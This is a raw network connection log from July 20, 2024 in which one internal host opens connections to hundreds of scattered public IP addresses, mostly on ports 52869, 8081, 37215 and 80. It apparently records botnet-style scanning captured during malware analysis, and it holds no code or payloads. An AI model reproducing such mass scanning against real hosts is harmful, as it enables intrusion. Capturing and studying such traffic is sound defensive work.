Jul 20, 2024 23:01:01.749074936 CEST	50165	8081	192.168.2.14	36.191.109.221
Jul 20, 2024 23:01:01.749243975 CEST	49909	52869	192.168.2.14	153.100.137.135
Jul 20, 2024 23:01:01.749243975 CEST	49909	52869	192.168.2.14	196.178.211.213
Jul 20, 2024 23:01:01.749243975 CEST	49909	52869	192.168.2.14	65.235.161.255
Jul 20, 2024 23:01:01.749243975 CEST	49909	52869	192.168.2.14	78.29.202.220
Jul 20, 2024 23:01:01.749243975 CEST	49909	52869	192.168.2.14	103.220.21.103
Jul 20, 2024 23:01:01.749244928 CEST	49909	52869	192.168.2.14	143.90.9.36
Jul 20, 2024 23:01:01.749244928 CEST	49909	52869	192.168.2.14	122.0.246.134
Jul 20, 2024 23:01:01.749681950 CEST	49909	52869	192.168.2.14	111.69.101.251
Jul 20, 2024 23:01:01.749681950 CEST	49909	52869	192.168.2.14	193.203.254.211
Jul 20, 2024 23:01:01.749681950 CEST	49909	52869	192.168.2.14	2.48.167.192
Jul 20, 2024 23:01:01.749681950 CEST	49909	52869	192.168.2.14	208.228.135.109
Jul 20, 2024 23:01:01.749682903 CEST	49909	52869	192.168.2.14	123.137.74.26
Jul 20, 2024 23:01:01.749682903 CEST	49909	52869	192.168.2.14	103.165.193.29
Jul 20, 2024 23:01:01.749682903 CEST	49909	52869	192.168.2.14	221.115.133.155
Jul 20, 2024 23:01:01.750036955 CEST	49909	52869	192.168.2.14	51.240.51.123
Jul 20, 2024 23:01:01.750036955 CEST	49909	52869	192.168.2.14	185.102.251.206
Jul 20, 2024 23:01:01.750036955 CEST	49909	52869	192.168.2.14	218.6.73.141
Jul 20, 2024 23:01:01.750036955 CEST	49909	52869	192.168.2.14	166.105.27.185
Jul 20, 2024 23:01:01.750036955 CEST	49909	52869	192.168.2.14	112.39.57.151
Jul 20, 2024 23:01:01.750036955 CEST	49909	52869	192.168.2.14	1.172.244.6
Jul 20, 2024 23:01:01.750036955 CEST	49909	52869	192.168.2.14	93.27.149.226
Jul 20, 2024 23:01:01.750036955 CEST	49909	52869	192.168.2.14	32.154.200.191
Jul 20, 2024 23:01:01.750416994 CEST	49909	52869	192.168.2.14	216.170.240.139
Jul 20, 2024 23:01:01.750416994 CEST	49909	52869	192.168.2.14	221.174.244.97
Jul 20, 2024 23:01:01.750416994 CEST	49909	52869	192.168.2.14	190.93.218.69
Jul 20, 2024 23:01:01.750416994 CEST	49909	52869	192.168.2.14	126.2.243.161
Jul 20, 2024 23:01:01.750416994 CEST	49909	52869	192.168.2.14	212.76.154.68
Jul 20, 2024 23:01:01.750416994 CEST	49909	52869	192.168.2.14	163.47.122.188
Jul 20, 2024 23:01:01.750416994 CEST	49909	52869	192.168.2.14	159.176.176.208
Jul 20, 2024 23:01:01.750416994 CEST	49909	52869	192.168.2.14	217.117.118.187
Jul 20, 2024 23:01:01.750741005 CEST	49909	52869	192.168.2.14	112.104.226.150
Jul 20, 2024 23:01:01.750785112 CEST	50165	8081	192.168.2.14	132.238.98.82
Jul 20, 2024 23:01:01.750786066 CEST	50165	8081	192.168.2.14	163.107.64.56
Jul 20, 2024 23:01:01.750786066 CEST	50165	8081	192.168.2.14	172.195.154.174
Jul 20, 2024 23:01:01.750786066 CEST	50165	8081	192.168.2.14	173.228.154.177
Jul 20, 2024 23:01:01.750786066 CEST	50165	8081	192.168.2.14	17.30.113.89
Jul 20, 2024 23:01:01.750786066 CEST	50165	8081	192.168.2.14	100.137.68.1
Jul 20, 2024 23:01:01.750786066 CEST	50165	8081	192.168.2.14	60.66.41.211
Jul 20, 2024 23:01:01.750786066 CEST	50165	8081	192.168.2.14	57.251.134.231
Jul 20, 2024 23:01:01.751696110 CEST	49909	52869	192.168.2.14	209.236.206.19
Jul 20, 2024 23:01:01.751696110 CEST	49909	52869	192.168.2.14	93.49.211.204
Jul 20, 2024 23:01:01.751696110 CEST	49909	52869	192.168.2.14	76.39.6.206
Jul 20, 2024 23:01:01.751696110 CEST	49909	52869	192.168.2.14	67.49.3.118
Jul 20, 2024 23:01:01.751696110 CEST	49909	52869	192.168.2.14	63.62.30.183
Jul 20, 2024 23:01:01.751696110 CEST	49909	52869	192.168.2.14	43.205.199.45
Jul 20, 2024 23:01:01.751696110 CEST	49909	52869	192.168.2.14	94.69.94.228
Jul 20, 2024 23:01:01.751696110 CEST	49909	52869	192.168.2.14	149.107.133.62
Jul 20, 2024 23:01:01.752301931 CEST	49909	52869	192.168.2.14	123.118.216.63
Jul 20, 2024 23:01:01.752301931 CEST	49909	52869	192.168.2.14	114.188.127.63
Jul 20, 2024 23:01:01.752301931 CEST	49909	52869	192.168.2.14	90.31.243.103
Jul 20, 2024 23:01:01.752301931 CEST	49909	52869	192.168.2.14	213.127.240.84
Jul 20, 2024 23:01:01.752301931 CEST	49909	52869	192.168.2.14	34.185.75.194
Jul 20, 2024 23:01:01.752301931 CEST	49909	52869	192.168.2.14	175.93.7.73
Jul 20, 2024 23:01:01.752301931 CEST	49909	52869	192.168.2.14	60.29.206.143
Jul 20, 2024 23:01:01.752301931 CEST	49909	52869	192.168.2.14	202.40.234.128
Jul 20, 2024 23:01:01.752332926 CEST	49909	52869	192.168.2.14	98.86.217.89
Jul 20, 2024 23:01:01.752332926 CEST	49909	52869	192.168.2.14	100.45.174.9
Jul 20, 2024 23:01:01.752332926 CEST	49909	52869	192.168.2.14	53.235.177.181
Jul 20, 2024 23:01:01.752332926 CEST	49909	52869	192.168.2.14	167.12.90.190
Jul 20, 2024 23:01:01.752332926 CEST	49909	52869	192.168.2.14	71.198.103.163
Jul 20, 2024 23:01:01.752332926 CEST	49909	52869	192.168.2.14	132.170.66.154
Jul 20, 2024 23:01:01.752332926 CEST	49909	52869	192.168.2.14	169.125.253.118
Jul 20, 2024 23:01:01.752332926 CEST	49909	52869	192.168.2.14	167.185.110.241
Jul 20, 2024 23:01:01.752348900 CEST	49909	52869	192.168.2.14	24.252.131.220
Jul 20, 2024 23:01:01.752348900 CEST	49909	52869	192.168.2.14	212.64.177.112
Jul 20, 2024 23:01:01.752348900 CEST	49909	52869	192.168.2.14	37.75.222.46
Jul 20, 2024 23:01:01.752348900 CEST	49909	52869	192.168.2.14	205.89.121.149
Jul 20, 2024 23:01:01.752348900 CEST	49909	52869	192.168.2.14	194.134.189.49
Jul 20, 2024 23:01:01.752348900 CEST	49909	52869	192.168.2.14	63.149.53.202
Jul 20, 2024 23:01:01.752348900 CEST	49909	52869	192.168.2.14	174.231.162.115
Jul 20, 2024 23:01:01.752348900 CEST	49909	52869	192.168.2.14	12.61.194.217
Jul 20, 2024 23:01:01.752450943 CEST	50165	8081	192.168.2.14	170.136.214.126
Jul 20, 2024 23:01:01.752450943 CEST	50165	8081	192.168.2.14	154.252.206.239
Jul 20, 2024 23:01:01.752451897 CEST	49909	52869	192.168.2.14	124.229.55.135
Jul 20, 2024 23:01:01.752451897 CEST	49909	52869	192.168.2.14	197.206.38.169
Jul 20, 2024 23:01:01.752451897 CEST	49909	52869	192.168.2.14	185.20.215.98
Jul 20, 2024 23:01:01.752451897 CEST	49909	52869	192.168.2.14	124.101.82.98
Jul 20, 2024 23:01:01.752921104 CEST	49909	52869	192.168.2.14	223.47.46.151
Jul 20, 2024 23:01:01.752921104 CEST	49909	52869	192.168.2.14	36.11.65.143
Jul 20, 2024 23:01:01.752921104 CEST	49909	52869	192.168.2.14	167.30.69.121
Jul 20, 2024 23:01:01.752921104 CEST	49909	52869	192.168.2.14	138.173.141.165
Jul 20, 2024 23:01:01.752921104 CEST	49909	52869	192.168.2.14	79.75.96.74
Jul 20, 2024 23:01:01.752921104 CEST	49909	52869	192.168.2.14	104.64.183.123
Jul 20, 2024 23:01:01.752921104 CEST	49909	52869	192.168.2.14	163.3.247.216
Jul 20, 2024 23:01:01.752921104 CEST	49909	52869	192.168.2.14	47.135.219.213
Jul 20, 2024 23:01:01.753444910 CEST	49909	52869	192.168.2.14	138.243.241.17
Jul 20, 2024 23:01:01.753444910 CEST	49909	52869	192.168.2.14	160.251.106.211
Jul 20, 2024 23:01:01.753444910 CEST	49909	52869	192.168.2.14	123.201.125.177
Jul 20, 2024 23:01:01.753444910 CEST	49909	52869	192.168.2.14	139.165.120.10
Jul 20, 2024 23:01:01.753444910 CEST	49909	52869	192.168.2.14	189.15.114.166
Jul 20, 2024 23:01:01.753444910 CEST	49909	52869	192.168.2.14	8.169.158.75
Jul 20, 2024 23:01:01.753444910 CEST	49909	52869	192.168.2.14	92.171.161.220
Jul 20, 2024 23:01:01.753444910 CEST	49909	52869	192.168.2.14	13.182.172.144
Jul 20, 2024 23:01:01.753714085 CEST	49909	52869	192.168.2.14	66.17.149.160
Jul 20, 2024 23:01:01.753714085 CEST	49909	52869	192.168.2.14	140.214.92.211
Jul 20, 2024 23:01:01.753714085 CEST	49909	52869	192.168.2.14	146.125.192.192
Jul 20, 2024 23:01:01.753714085 CEST	49909	52869	192.168.2.14	202.55.184.106
Jul 20, 2024 23:01:01.753714085 CEST	49909	52869	192.168.2.14	1.68.115.94
Jul 20, 2024 23:01:01.753714085 CEST	49909	52869	192.168.2.14	206.11.222.241
Jul 20, 2024 23:01:01.753714085 CEST	49909	52869	192.168.2.14	86.161.72.180
Jul 20, 2024 23:01:01.753714085 CEST	49909	52869	192.168.2.14	137.223.232.141
Jul 20, 2024 23:01:01.753983974 CEST	49909	52869	192.168.2.14	131.216.167.188
Jul 20, 2024 23:01:01.753983974 CEST	49909	52869	192.168.2.14	199.192.14.39
Jul 20, 2024 23:01:01.753983974 CEST	49909	52869	192.168.2.14	147.231.183.14
Jul 20, 2024 23:01:01.753983974 CEST	49909	52869	192.168.2.14	66.148.110.109
Jul 20, 2024 23:01:01.753983974 CEST	49909	52869	192.168.2.14	97.234.195.139
Jul 20, 2024 23:01:01.753983974 CEST	49909	52869	192.168.2.14	166.244.133.156
Jul 20, 2024 23:01:01.753983974 CEST	49909	52869	192.168.2.14	64.164.75.52
Jul 20, 2024 23:01:01.753983974 CEST	49909	52869	192.168.2.14	192.160.122.249
Jul 20, 2024 23:01:01.754400015 CEST	49909	52869	192.168.2.14	137.9.146.7
Jul 20, 2024 23:01:01.754400015 CEST	49909	52869	192.168.2.14	192.88.148.145
Jul 20, 2024 23:01:01.754400015 CEST	49909	52869	192.168.2.14	208.131.184.32
Jul 20, 2024 23:01:01.754400969 CEST	49909	52869	192.168.2.14	194.208.79.230
Jul 20, 2024 23:01:01.754400969 CEST	49909	52869	192.168.2.14	201.47.46.121
Jul 20, 2024 23:01:01.754400969 CEST	49909	52869	192.168.2.14	45.43.43.248
Jul 20, 2024 23:01:01.754400969 CEST	49909	52869	192.168.2.14	69.103.208.190
Jul 20, 2024 23:01:01.754400969 CEST	49909	52869	192.168.2.14	209.182.179.55
Jul 20, 2024 23:01:01.754776955 CEST	49909	52869	192.168.2.14	125.250.4.90
Jul 20, 2024 23:01:01.754776955 CEST	49909	52869	192.168.2.14	206.13.225.4
Jul 20, 2024 23:01:01.754776955 CEST	49909	52869	192.168.2.14	132.90.194.123
Jul 20, 2024 23:01:01.754776955 CEST	49909	52869	192.168.2.14	160.32.248.68
Jul 20, 2024 23:01:01.754776955 CEST	49909	52869	192.168.2.14	47.131.16.63
Jul 20, 2024 23:01:01.754776955 CEST	49909	52869	192.168.2.14	52.174.147.126
Jul 20, 2024 23:01:01.754776955 CEST	49909	52869	192.168.2.14	47.98.143.226
Jul 20, 2024 23:01:01.754776955 CEST	49909	52869	192.168.2.14	161.208.244.43
Jul 20, 2024 23:01:01.755095005 CEST	49909	52869	192.168.2.14	192.251.180.123
Jul 20, 2024 23:01:01.755095959 CEST	49909	52869	192.168.2.14	91.116.111.244
Jul 20, 2024 23:01:01.755095959 CEST	49909	52869	192.168.2.14	67.206.145.204
Jul 20, 2024 23:01:01.755095959 CEST	49909	52869	192.168.2.14	190.78.2.7
Jul 20, 2024 23:01:01.755095959 CEST	49909	52869	192.168.2.14	101.212.186.105
Jul 20, 2024 23:01:01.755095959 CEST	49909	52869	192.168.2.14	123.242.194.86
Jul 20, 2024 23:01:01.755095959 CEST	49909	52869	192.168.2.14	194.67.162.210
Jul 20, 2024 23:01:01.755095959 CEST	49909	52869	192.168.2.14	5.99.224.133
Jul 20, 2024 23:01:01.755234957 CEST	49909	52869	192.168.2.14	42.63.37.230
Jul 20, 2024 23:01:01.755234957 CEST	49909	52869	192.168.2.14	149.148.103.254
Jul 20, 2024 23:01:01.755235910 CEST	49909	52869	192.168.2.14	136.10.65.212
Jul 20, 2024 23:01:01.755235910 CEST	49909	52869	192.168.2.14	38.123.81.102
Jul 20, 2024 23:01:01.755235910 CEST	49909	52869	192.168.2.14	59.3.63.30
Jul 20, 2024 23:01:01.755235910 CEST	49909	52869	192.168.2.14	170.253.183.3
Jul 20, 2024 23:01:01.755235910 CEST	49909	52869	192.168.2.14	204.211.34.189
Jul 20, 2024 23:01:01.755235910 CEST	49909	52869	192.168.2.14	137.223.96.125
Jul 20, 2024 23:01:01.755412102 CEST	49909	52869	192.168.2.14	71.227.152.103
Jul 20, 2024 23:01:01.755412102 CEST	49909	52869	192.168.2.14	162.102.153.251
Jul 20, 2024 23:01:01.755412102 CEST	49909	52869	192.168.2.14	177.122.167.235
Jul 20, 2024 23:01:01.755412102 CEST	49909	52869	192.168.2.14	24.139.162.76
Jul 20, 2024 23:01:01.755412102 CEST	49909	52869	192.168.2.14	140.155.1.250
Jul 20, 2024 23:01:01.755412102 CEST	49909	52869	192.168.2.14	123.139.17.211
Jul 20, 2024 23:01:01.755412102 CEST	49909	52869	192.168.2.14	155.66.179.203
Jul 20, 2024 23:01:01.755412102 CEST	49909	52869	192.168.2.14	63.98.110.158
Jul 20, 2024 23:01:01.755484104 CEST	49909	52869	192.168.2.14	202.59.35.213
Jul 20, 2024 23:01:01.755484104 CEST	49909	52869	192.168.2.14	108.4.171.99
Jul 20, 2024 23:01:01.755484104 CEST	49909	52869	192.168.2.14	62.44.78.153
Jul 20, 2024 23:01:01.755484104 CEST	49909	52869	192.168.2.14	223.57.236.62
Jul 20, 2024 23:01:01.755484104 CEST	49909	52869	192.168.2.14	129.7.130.116
Jul 20, 2024 23:01:01.755484104 CEST	49909	52869	192.168.2.14	25.62.180.67
Jul 20, 2024 23:01:01.755484104 CEST	49909	52869	192.168.2.14	217.192.73.105
Jul 20, 2024 23:01:01.755484104 CEST	49909	52869	192.168.2.14	54.189.140.223
Jul 20, 2024 23:01:01.755954027 CEST	49909	52869	192.168.2.14	205.227.187.203
Jul 20, 2024 23:01:01.755954027 CEST	49909	52869	192.168.2.14	92.110.247.157
Jul 20, 2024 23:01:01.755954027 CEST	49909	52869	192.168.2.14	174.146.100.30
Jul 20, 2024 23:01:01.755954027 CEST	49909	52869	192.168.2.14	72.5.198.205
Jul 20, 2024 23:01:01.755954027 CEST	49909	52869	192.168.2.14	124.170.244.50
Jul 20, 2024 23:01:01.755954027 CEST	49909	52869	192.168.2.14	99.165.107.125
Jul 20, 2024 23:01:01.755954027 CEST	49909	52869	192.168.2.14	45.6.250.121
Jul 20, 2024 23:01:01.755954027 CEST	49909	52869	192.168.2.14	47.192.181.125
Jul 20, 2024 23:01:01.756356001 CEST	49909	52869	192.168.2.14	223.253.7.175
Jul 20, 2024 23:01:01.756356001 CEST	49909	52869	192.168.2.14	159.232.58.49
Jul 20, 2024 23:01:01.756356001 CEST	49909	52869	192.168.2.14	24.188.208.36
Jul 20, 2024 23:01:01.756356001 CEST	49909	52869	192.168.2.14	31.19.60.241
Jul 20, 2024 23:01:01.756356001 CEST	49909	52869	192.168.2.14	14.104.58.202
Jul 20, 2024 23:01:01.756356955 CEST	49909	52869	192.168.2.14	158.121.229.9
Jul 20, 2024 23:01:01.756356955 CEST	49909	52869	192.168.2.14	66.204.170.135
Jul 20, 2024 23:01:01.756356955 CEST	49909	52869	192.168.2.14	128.94.105.123
Jul 20, 2024 23:01:01.756494999 CEST	49909	52869	192.168.2.14	133.0.49.199
Jul 20, 2024 23:01:01.756494999 CEST	49909	52869	192.168.2.14	135.177.107.164
Jul 20, 2024 23:01:01.756494999 CEST	49909	52869	192.168.2.14	122.211.137.245
Jul 20, 2024 23:01:01.756494999 CEST	49909	52869	192.168.2.14	170.102.253.221
Jul 20, 2024 23:01:01.756494999 CEST	49909	52869	192.168.2.14	171.126.162.137
Jul 20, 2024 23:01:01.756494999 CEST	49909	52869	192.168.2.14	128.255.92.0
Jul 20, 2024 23:01:01.756494999 CEST	49909	52869	192.168.2.14	193.177.140.251
Jul 20, 2024 23:01:01.756494999 CEST	49909	52869	192.168.2.14	44.146.77.208
Jul 20, 2024 23:01:01.756808996 CEST	49909	52869	192.168.2.14	132.247.215.214
Jul 20, 2024 23:01:01.756808996 CEST	49909	52869	192.168.2.14	23.94.253.67
Jul 20, 2024 23:01:01.756808996 CEST	49909	52869	192.168.2.14	111.208.194.99
Jul 20, 2024 23:01:01.756808996 CEST	49909	52869	192.168.2.14	181.165.78.219
Jul 20, 2024 23:01:01.756808996 CEST	49909	52869	192.168.2.14	91.171.95.33
Jul 20, 2024 23:01:01.756808996 CEST	49909	52869	192.168.2.14	98.169.227.103
Jul 20, 2024 23:01:01.756808996 CEST	49909	52869	192.168.2.14	102.174.27.16
Jul 20, 2024 23:01:01.756808996 CEST	49909	52869	192.168.2.14	182.58.59.240
Jul 20, 2024 23:01:01.756925106 CEST	49909	52869	192.168.2.14	153.204.31.186
Jul 20, 2024 23:01:01.756925106 CEST	49909	52869	192.168.2.14	60.182.209.121
Jul 20, 2024 23:01:01.756925106 CEST	49909	52869	192.168.2.14	142.27.140.92
Jul 20, 2024 23:01:01.756925106 CEST	49909	52869	192.168.2.14	85.161.86.94
Jul 20, 2024 23:01:01.756925106 CEST	49909	52869	192.168.2.14	8.165.240.79
Jul 20, 2024 23:01:01.756926060 CEST	49909	52869	192.168.2.14	217.33.236.3
Jul 20, 2024 23:01:01.756926060 CEST	49909	52869	192.168.2.14	37.103.24.50
Jul 20, 2024 23:01:01.756926060 CEST	49909	52869	192.168.2.14	172.60.47.25
Jul 20, 2024 23:01:01.757214069 CEST	49909	52869	192.168.2.14	103.34.192.117
Jul 20, 2024 23:01:01.757214069 CEST	49909	52869	192.168.2.14	218.187.102.240
Jul 20, 2024 23:01:01.757266998 CEST	49909	52869	192.168.2.14	114.145.44.184
Jul 20, 2024 23:01:01.757266998 CEST	49909	52869	192.168.2.14	139.103.4.149
Jul 20, 2024 23:01:01.757266998 CEST	49909	52869	192.168.2.14	25.214.84.187
Jul 20, 2024 23:01:01.757266998 CEST	49909	52869	192.168.2.14	8.144.20.244
Jul 20, 2024 23:01:01.757266998 CEST	49909	52869	192.168.2.14	131.223.121.74
Jul 20, 2024 23:01:01.757266998 CEST	49909	52869	192.168.2.14	74.52.241.58
Jul 20, 2024 23:01:01.757266998 CEST	49909	52869	192.168.2.14	54.52.52.65
Jul 20, 2024 23:01:01.757266998 CEST	49909	52869	192.168.2.14	93.36.79.178
Jul 20, 2024 23:01:01.757500887 CEST	49909	52869	192.168.2.14	121.83.16.240
Jul 20, 2024 23:01:01.757500887 CEST	49909	52869	192.168.2.14	110.31.52.8
Jul 20, 2024 23:01:01.757500887 CEST	49909	52869	192.168.2.14	177.119.9.144
Jul 20, 2024 23:01:01.757500887 CEST	49909	52869	192.168.2.14	212.166.101.202
Jul 20, 2024 23:01:01.757500887 CEST	49909	52869	192.168.2.14	169.254.184.118
Jul 20, 2024 23:01:01.757500887 CEST	49909	52869	192.168.2.14	141.144.109.126
Jul 20, 2024 23:01:01.757500887 CEST	49909	52869	192.168.2.14	38.15.50.186
Jul 20, 2024 23:01:01.757500887 CEST	49909	52869	192.168.2.14	98.4.99.174
Jul 20, 2024 23:01:01.757520914 CEST	49909	52869	192.168.2.14	80.12.100.103
Jul 20, 2024 23:01:01.757520914 CEST	49909	52869	192.168.2.14	130.209.205.146
Jul 20, 2024 23:01:01.757520914 CEST	49909	52869	192.168.2.14	102.123.68.84
Jul 20, 2024 23:01:01.757520914 CEST	49909	52869	192.168.2.14	220.222.25.62
Jul 20, 2024 23:01:01.757520914 CEST	49909	52869	192.168.2.14	109.124.47.108
Jul 20, 2024 23:01:01.757520914 CEST	49909	52869	192.168.2.14	136.53.14.70
Jul 20, 2024 23:01:01.757520914 CEST	49909	52869	192.168.2.14	212.201.138.73
Jul 20, 2024 23:01:01.757520914 CEST	49909	52869	192.168.2.14	23.51.100.228
Jul 20, 2024 23:01:01.757967949 CEST	49909	52869	192.168.2.14	138.35.165.194
Jul 20, 2024 23:01:01.757967949 CEST	49909	52869	192.168.2.14	143.126.143.6
Jul 20, 2024 23:01:01.757967949 CEST	49909	52869	192.168.2.14	96.64.60.179
Jul 20, 2024 23:01:01.757967949 CEST	49909	52869	192.168.2.14	220.75.152.16
Jul 20, 2024 23:01:01.757967949 CEST	49909	52869	192.168.2.14	81.33.167.127
Jul 20, 2024 23:01:01.757967949 CEST	49909	52869	192.168.2.14	70.102.32.237
Jul 20, 2024 23:01:01.757967949 CEST	49909	52869	192.168.2.14	160.80.74.231
Jul 20, 2024 23:01:01.757967949 CEST	49909	52869	192.168.2.14	44.2.56.144
Jul 20, 2024 23:01:01.758157015 CEST	49909	52869	192.168.2.14	86.249.255.222
Jul 20, 2024 23:01:01.758157015 CEST	49909	52869	192.168.2.14	154.131.192.163
Jul 20, 2024 23:01:01.758157015 CEST	49909	52869	192.168.2.14	62.135.63.177
Jul 20, 2024 23:01:01.758157015 CEST	49909	52869	192.168.2.14	111.33.11.248
Jul 20, 2024 23:01:01.758157015 CEST	49909	52869	192.168.2.14	63.195.250.31
Jul 20, 2024 23:01:01.758157015 CEST	49909	52869	192.168.2.14	171.60.191.198
Jul 20, 2024 23:01:01.758157015 CEST	49909	52869	192.168.2.14	203.43.248.229
Jul 20, 2024 23:01:01.758157015 CEST	49909	52869	192.168.2.14	66.33.16.41
Jul 20, 2024 23:01:01.758168936 CEST	49909	52869	192.168.2.14	17.250.24.115
Jul 20, 2024 23:01:01.758168936 CEST	49909	52869	192.168.2.14	27.79.186.50
Jul 20, 2024 23:01:01.758168936 CEST	49909	52869	192.168.2.14	53.227.50.139
Jul 20, 2024 23:01:01.758168936 CEST	49909	52869	192.168.2.14	68.78.246.135
Jul 20, 2024 23:01:01.758168936 CEST	49909	52869	192.168.2.14	31.205.16.228
Jul 20, 2024 23:01:01.758168936 CEST	49909	52869	192.168.2.14	133.80.113.43
Jul 20, 2024 23:01:01.758168936 CEST	49909	52869	192.168.2.14	45.58.247.35
Jul 20, 2024 23:01:01.758168936 CEST	49909	52869	192.168.2.14	219.114.136.3
Jul 20, 2024 23:01:01.758304119 CEST	47230	37215	192.168.2.14	157.78.32.167
Jul 20, 2024 23:01:01.758430004 CEST	49909	52869	192.168.2.14	62.238.130.208
Jul 20, 2024 23:01:01.758430004 CEST	49909	52869	192.168.2.14	100.177.38.48
Jul 20, 2024 23:01:01.758569002 CEST	49909	52869	192.168.2.14	177.15.43.240
Jul 20, 2024 23:01:01.758569002 CEST	49909	52869	192.168.2.14	184.12.108.77
Jul 20, 2024 23:01:01.758569002 CEST	49909	52869	192.168.2.14	131.180.90.129
Jul 20, 2024 23:01:01.758569002 CEST	49909	52869	192.168.2.14	115.228.148.224
Jul 20, 2024 23:01:01.758569002 CEST	49909	52869	192.168.2.14	161.154.222.94
Jul 20, 2024 23:01:01.758569002 CEST	49909	52869	192.168.2.14	110.140.251.208
Jul 20, 2024 23:01:01.758569002 CEST	49909	52869	192.168.2.14	152.88.174.227
Jul 20, 2024 23:01:01.758569002 CEST	49909	52869	192.168.2.14	176.135.35.83
Jul 20, 2024 23:01:01.758583069 CEST	49909	52869	192.168.2.14	37.76.28.47
Jul 20, 2024 23:01:01.758583069 CEST	49909	52869	192.168.2.14	180.226.213.253
Jul 20, 2024 23:01:01.758583069 CEST	49909	52869	192.168.2.14	191.67.104.100
Jul 20, 2024 23:01:01.758583069 CEST	49909	52869	192.168.2.14	102.117.6.4
Jul 20, 2024 23:01:01.758584023 CEST	49909	52869	192.168.2.14	177.149.239.158
Jul 20, 2024 23:01:01.758678913 CEST	49909	52869	192.168.2.14	72.236.100.198
Jul 20, 2024 23:01:01.758678913 CEST	49909	52869	192.168.2.14	75.250.246.6
Jul 20, 2024 23:01:01.758678913 CEST	49909	52869	192.168.2.14	78.81.76.102
Jul 20, 2024 23:01:01.758680105 CEST	49909	52869	192.168.2.14	147.95.208.99
Jul 20, 2024 23:01:01.758680105 CEST	49909	52869	192.168.2.14	100.219.185.52
Jul 20, 2024 23:01:01.758680105 CEST	49909	52869	192.168.2.14	95.206.145.209
Jul 20, 2024 23:01:01.758680105 CEST	49909	52869	192.168.2.14	173.122.240.164
Jul 20, 2024 23:01:01.758680105 CEST	49909	52869	192.168.2.14	221.52.211.52
Jul 20, 2024 23:01:01.758733988 CEST	49909	52869	192.168.2.14	204.53.71.93
Jul 20, 2024 23:01:01.758733988 CEST	49909	52869	192.168.2.14	134.61.70.121
Jul 20, 2024 23:01:01.758733988 CEST	49909	52869	192.168.2.14	105.81.188.11
Jul 20, 2024 23:01:01.758733988 CEST	49909	52869	192.168.2.14	188.32.206.19
Jul 20, 2024 23:01:01.758733988 CEST	49909	52869	192.168.2.14	61.153.7.70
Jul 20, 2024 23:01:01.758733988 CEST	49909	52869	192.168.2.14	65.11.129.120
Jul 20, 2024 23:01:01.758733988 CEST	49909	52869	192.168.2.14	185.221.121.133
Jul 20, 2024 23:01:01.758733988 CEST	49909	52869	192.168.2.14	66.244.81.164
Jul 20, 2024 23:01:01.758793116 CEST	49909	52869	192.168.2.14	171.228.159.216
Jul 20, 2024 23:01:01.758793116 CEST	49909	52869	192.168.2.14	63.197.150.28
Jul 20, 2024 23:01:01.758793116 CEST	49909	52869	192.168.2.14	43.70.142.52
Jul 20, 2024 23:01:01.758793116 CEST	49909	52869	192.168.2.14	73.244.190.4
Jul 20, 2024 23:01:01.758793116 CEST	49909	52869	192.168.2.14	121.236.69.191
Jul 20, 2024 23:01:01.758793116 CEST	49909	52869	192.168.2.14	169.200.134.69
Jul 20, 2024 23:01:01.758793116 CEST	49909	52869	192.168.2.14	130.226.14.183
Jul 20, 2024 23:01:01.758793116 CEST	49909	52869	192.168.2.14	141.164.148.144
Jul 20, 2024 23:01:01.758846045 CEST	49909	52869	192.168.2.14	88.204.93.174
Jul 20, 2024 23:01:01.758846045 CEST	49909	52869	192.168.2.14	51.182.172.154
Jul 20, 2024 23:01:01.758846045 CEST	49909	52869	192.168.2.14	73.182.245.246
Jul 20, 2024 23:01:01.758846045 CEST	49909	52869	192.168.2.14	44.188.109.178
Jul 20, 2024 23:01:01.763166904 CEST	37548	2466	192.168.2.14	15.235.203.214
Jul 20, 2024 23:01:01.763638020 CEST	37215	47230	157.78.32.167	192.168.2.14
Jul 20, 2024 23:01:01.763680935 CEST	47230	37215	192.168.2.14	157.78.32.167
Jul 20, 2024 23:01:01.766858101 CEST	35292	37215	192.168.2.14	197.196.172.22
Jul 20, 2024 23:01:01.768326044 CEST	2466	37548	15.235.203.214	192.168.2.14
Jul 20, 2024 23:01:01.768358946 CEST	37548	2466	192.168.2.14	15.235.203.214
Jul 20, 2024 23:01:01.770525932 CEST	37215	47230	157.78.32.167	192.168.2.14
Jul 20, 2024 23:01:01.771430016 CEST	51189	80	192.168.2.14	88.161.150.191
Jul 20, 2024 23:01:01.771503925 CEST	51189	80	192.168.2.14	88.229.55.135
Jul 20, 2024 23:01:01.771523952 CEST	51189	80	192.168.2.14	88.155.163.139
Jul 20, 2024 23:01:01.771548986 CEST	51189	80	192.168.2.14	88.14.171.132
Jul 20, 2024 23:01:01.771565914 CEST	51189	80	192.168.2.14	88.103.102.179
Jul 20, 2024 23:01:01.771589994 CEST	51189	80	192.168.2.14	88.105.109.160
Jul 20, 2024 23:01:01.771605015 CEST	51189	80	192.168.2.14	88.22.81.89
Jul 20, 2024 23:01:01.771626949 CEST	51189	80	192.168.2.14	88.28.160.165
Jul 20, 2024 23:01:01.771666050 CEST	51189	80	192.168.2.14	88.235.97.216
Jul 20, 2024 23:01:01.771702051 CEST	51189	80	192.168.2.14	88.133.23.36
Jul 20, 2024 23:01:01.771708012 CEST	51189	80	192.168.2.14	88.248.106.214
Jul 20, 2024 23:01:01.771725893 CEST	51189	80	192.168.2.14	88.243.49.12
Jul 20, 2024 23:01:01.771752119 CEST	51189	80	192.168.2.14	88.155.104.179
Jul 20, 2024 23:01:01.771790028 CEST	51189	80	192.168.2.14	88.101.188.49
Jul 20, 2024 23:01:01.771831036 CEST	37215	35292	197.196.172.22	192.168.2.14
Jul 20, 2024 23:01:01.771836042 CEST	51189	80	192.168.2.14	88.217.70.97
Jul 20, 2024 23:01:01.771871090 CEST	35292	37215	192.168.2.14	197.196.172.22
Jul 20, 2024 23:01:01.771902084 CEST	51189	80	192.168.2.14	88.105.31.235
Jul 20, 2024 23:01:01.771903038 CEST	51189	80	192.168.2.14	88.224.228.131
Jul 20, 2024 23:01:01.771915913 CEST	51189	80	192.168.2.14	88.155.53.113
Jul 20, 2024 23:01:01.771955013 CEST	51189	80	192.168.2.14	88.134.155.248
Jul 20, 2024 23:01:01.771971941 CEST	51189	80	192.168.2.14	88.146.120.92
Jul 20, 2024 23:01:01.771995068 CEST	51189	80	192.168.2.14	88.98.231.244
Jul 20, 2024 23:01:01.772001028 CEST	51189	80	192.168.2.14	88.101.75.49
Jul 20, 2024 23:01:01.772063971 CEST	51189	80	192.168.2.14	88.190.107.86
Jul 20, 2024 23:01:01.772090912 CEST	51189	80	192.168.2.14	88.183.20.111
Jul 20, 2024 23:01:01.772119999 CEST	51189	80	192.168.2.14	88.102.141.240
